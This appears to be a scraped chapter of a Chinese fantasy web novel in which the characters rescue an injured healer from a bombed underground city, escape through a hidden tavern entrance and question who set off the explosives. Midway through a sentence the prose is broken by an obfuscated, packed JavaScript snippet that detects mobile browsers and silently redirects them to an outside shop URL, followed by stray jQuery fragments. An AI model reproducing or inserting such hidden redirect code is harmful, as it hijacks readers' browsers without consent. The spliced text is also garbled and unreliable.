丁灵心中暗道不妙,陈千结在地下城的身份本就特殊,治疗师的身份多多少少接触了很多机密,不会出事了吧。
她加快几步走到门口。门内的陈设全部被破坏,灰尘随着风的流动在空气中飘荡,似乎在告诉着来人此地刚刚发生了一场大战。
“陈千结。”丁灵用不大不小的声音喊着。
无人回应。房里一片废墟,但毕竟本来也没几件家具,被损毁后倒也能看清里面的状况,只是也不见陈千结的身影。
难道真的被带走了?
水龙感受到了丁灵的探寻,从手腕上游了出来,飞到凌乱的房间内,转悠了一圈,似乎是在寻找人类的气息。
房间总共那么大点儿,水龙转悠了三四圈,最后停在了那个疑似前身是“床”的废墟上。
不用池渊当翻译,丁灵也心知水龙是找到人了,当即就要开挖。
一个人挖效率低,丁灵看了眼池渊。他早在水龙寻人的时候就坐到了地上,靠着墙,倒是不嫌弃这满地的灰。
不过他和满是灰的地面谁也嫌不上谁,这人满身的血还未干涸,这么一坐,就染得满地是血。
池渊靠坐在地上,曲着两条长腿,也不怕丁灵看废物一般的眼神望过来。
他摆出好逸恶劳的架子,不要脸地开口:“一家出一份力,水龙是我的代表,它帮忙就行。”说着,还指指自己的胸口和腿上的伤口,“我是伤员,要休息。”
指望不上他。
丁灵也不多分他眼神,走进房内就是开挖。
床上压着的东西还不少,重量也不轻。池渊虽然不帮忙,水龙却是很殷勤地拿着尾巴钩石头,减轻了丁灵不少负担。
池渊就坐在对面,满意地看着一人一龙的辛勤劳动。看似神情闲适,其实胸口还微不可察地往外渗着血。
他满不在乎地在胸口抹了一把,把胸口渗出的血隐到衣服下,装作随意的动作没引起任何人的注意,只有胸口的布料颜色又深了些。
找到了。
陈千结的手先从废墟中被挖了出来,随后是整个人。被救出来的人身上有不少伤口,不过看起来都是小伤口,并不致命。
人虽然还在昏迷,但是应当没事。
丁灵看了看还坐着“休息”的池渊,一个使劲,就把人给背了起来。
“走。”
走字还未说出口,地下城就传来一连串的爆炸声,连带着就要波及到他们这儿。
池渊迅速起身,拉着丁灵就往出口跑。
爆炸声此起彼伏地响了起来,总感觉近在咫尺,却分辨不出具体是哪里在爆炸。
不仅爆炸的声音在封闭的地下城四处响着,炸药爆炸过后的火药味也弥漫在走廊里。
扛着人跑不快,丁灵几乎是被动地被池渊拖着跑。
也许是他实在看不下去了,最终还是尽了自己的一份力,接过陈千结,加快了小队的行进速度。
池渊知道出口的所在地,拐个弯就到——眼前的路赫然被碎石完全堵死。
看着池渊有些凝重的神情,丁灵这个路痴提出了她的建议:“换条路走?”
“不,地下城的地形太过复杂,找其他的路不比开路来得快。”
开路,怎么开?挖石头肯定比找一条新路慢得多。
丁灵的疑问还未问出口,水龙的身躯就先一步迅速膨胀了起来,水桶粗的尾巴对着碎石堆猛拍起来,每一下都狠狠地打碎了一片的石头。
地下城本就昏暗,爆炸过后更是看不清周遭,丁灵隐隐感觉放大了的水蛇皮肤有些不同,似乎有光在淡淡地流。不过环境太暗,她也看不真切。
池渊这方法倒是很见效,大石块都碎成了粉齑,可也扬起了漫天的尘土,让丁灵忍不住猛烈地咳嗽了起来。
“麻烦精。”池渊身上扛着人,竟还能空出手来捂丁灵的嘴。
手臂从丁灵的肩膀绕过去,搭着捂住了丁灵的口鼻,同时推着她往前走。池渊手心的温热气息和血腥味一股脑地被丁灵吸入,是不想咳嗽了,却有些想呕吐。
出口果然在地牢附近,丁灵之前的判断完全正确。
先前此起彼伏的爆炸声原来炸的是地牢,那地牢里的那些人……
罗焰之前说了,地牢和实验室里的那些异能者,因为都遭受了摧残,一时半会儿救不出,他们自己也走不动。C城基地安排了救援人员和治疗师,随后就到。
只是没等到救援,地牢就被毁了。
没时间惋惜别人的命运了,地下城和外界沟通的门居然就藏在墙内。
丁灵有些喘不上气来,挣扎着拍拍池渊的手。
迈步到地牢边,池渊没再往里面走,转而走近地牢的墙面,松开捂着丁灵的手。
在光滑的墙面上摸索了一番,池渊似乎按到了什么按钮,墙壁就在二人面前缓缓打开。
居然用和墙相同材质的门来了一出“灯下黑”,再加上一些特殊的材料做掩盖,起到了掩耳盗铃的作用。如此一来,明晃晃的大门就在地牢的门口,也无人能够发现得了。
想来也是,门口怎么也得有人看守。地牢的守卫充足,看顾得牢与外界联通的大门,却又不会引起别人的注意,真是好安排。
上到地面,眼前是狭窄的过道,再往外走,就是挤满了人的走廊。
丁灵加快两步走在前面,一边往前走一边打量着狭窄的走廊。
这就是地下堡垒的入口?
推开员工通道的大门,外面的景致豁然开朗起来。
酒馆被基地征用为临时办案所,装修得有些璀璨的酒桌和卡座被着装正式的基地人员所占据,独属酒馆的松弛味道一扫而空,那些养尊处优的人俨然将此地当作了自己的办公室。
丁灵没想到入口居然就在酒馆里,推门的动作慢了一瞬,就被后面出来的一个基地守卫兵撞开。
那人颇有些殷切地为身后的事务员开路,穿着正装打着领结的事务员也丝毫不在乎刚才的小插曲,连一个正脸也没给二人,直接越过他们从门口先一步离开。
员工通道里人来人往,外间的基地事务员更是各有各忙碌的事情,没人发现池渊和丁灵的出现。
酒馆员工都挤在一个角落里,被基地的人叫来问话。
之前被池渊发现破绽的那个女酒保也在,换了一身衣服,神情减了招揽生意时的热情,显得很冷酷,一身的休闲装全然看不出酒保的气质了。
丁灵的脑子还有些迟钝,向外走的动作也有些迟缓,手腕却被后面的人给牵住。牵引的力量让她无暇顾及外面的场景,只能被动地往外走去。
夜色已深,黑幕笼罩了夜晚,本该祥和的C城基地却透露出一股不寻常,酒馆里的灯光映出里间的人影幢幢。
门被轻轻撞开,泄出了酒馆里的喧闹。光明也随之跨越了亮与暗的边界线,投射出门框大小的光,穿过一前一后的两个人,留下了灰黑色的影。
丁灵踩着池渊的影子跌跌撞撞地走进了酒馆旁边的巷子里,把影子抛弃在巷子的拐角。池渊松开了手,丁灵的手腕被他的体温捂得有些发烫,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182072|196150||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带着一些急切的余温。
罗焰早在巷子里焦急地等待他们,身边也带着个伤员。
“你们可算来了,我刚一出来地下城就爆炸了,可担心死我了。”眼见二人平安归来,罗焰的心终于松懈了下来,喋喋不休地念叨着。
丁灵把陈千结从池渊的肩上卸下来,无可避免地靠近了池渊的身躯。
鼻子下的血腥味更浓了。渡了那么多能量,他的伤口还没愈合吗?
她装作不经意地盯着池渊的胸口看,深色的夹克遮挡了血的颜色,反光时能看到干涸了的血痕,看上去像是没什么大碍了。
“这……”罗焰指指池渊的腿上的伤口,又指指丁灵衣服上大片骇人的血迹。
丁灵低头看看衣服,核心实验室前池渊倒在她怀里,后来又搭着她的肩膀,搞得整件衣服上都是血迹,像是她受了重伤。
对上罗焰担心的眼神,丁灵摇了摇头:“不是我的血。”
“噢噢噢,那就好那就好。”池渊的衣服太具有迷惑性,看不出血迹,见他没说话,罗焰也忽略了过去。
丁灵查看了一下陈千结的状态,独属治愈系的异能让她身上的伤口快速愈合,本就细小的伤口如今更是消失殆尽。
罗焰带来的伤员丁灵很眼熟,她轻轻拨开挡住了那人面孔的长发,居然是地牢里发现她踪迹的那个少年。
躲过了残酷的实验和爆炸,倒成了地下城为数不多的幸存者了。
池渊瞥眼地上有气无力、只能睁眼看着他们的幸存者,似乎是在评估他的危险性,而后从手里凭空变出了一枚炸弹的碎片。
这又是从哪儿来的?丁灵一直被池渊给捂着,连带着视力都受了影响。如此紧张的逃离途中,没看见池渊还见缝插针地捡了个碎片。
“这个炸弹,是只有基地才会生产的大杀伤力炸药,每个基地只会存有一两枚。”池渊拿着碎片,展示给众人看。
罗焰的嘴巴张成一个大大的O形:“这伙强盗好东西可真不少啊。”
池渊收起碎片,手指摩挲着碎片有些坚硬的棱角:“这不对。”
“什么不对?”丁灵早觉得守卫军的装备有些过于专业了,只是下城区的黑市太多,耳濡目染,她并不觉得搞到基地的装备有什么难处。
上电梯时池渊就让水龙待在地下,去查看一下爆炸后的情况,若有危险可以随时召回。此时他正努力接收着水龙此时探查到的情况,一边回复着大家:“这个行为本身不对劲。”
高强度的奔波和异能的消耗让池渊浑身提不起劲,他一边整理着地下城的情况,一边坐下来,倚靠着墙壁:“实验室是空的,没有实验体,实验报告也早就远程毁掉了。地牢也是,只有一些被抓来不久没怎么进行过实验的异能者。”
“怕被人从实验对象的身上发现他们的秘密?感觉也很正常。”罗焰积极分析着。
丁灵摇摇头:“那他们何必多此一举。”她在脑中思考着,“水龙能看出异能者炸毁前的状态吗?实验室有很多异变了的异能者……”
“早在爆炸之前,这些异变了的异能者,都被处理了。”池渊手里把玩着炸弹碎片,语气有些慵懒地解释。
罗焰这才反应过来,为那些人打抱不平:“也就是说,会暴露信息的异能者他们都处理好了,现在却又要对这些无辜的异能者们下手。好狠的心!”
明明已经花大功夫处理了所有重要信息,那伙人又为什么扔下极易摸到来源的高伤害炸药来给这些并不重要的线索善后。
这说不通。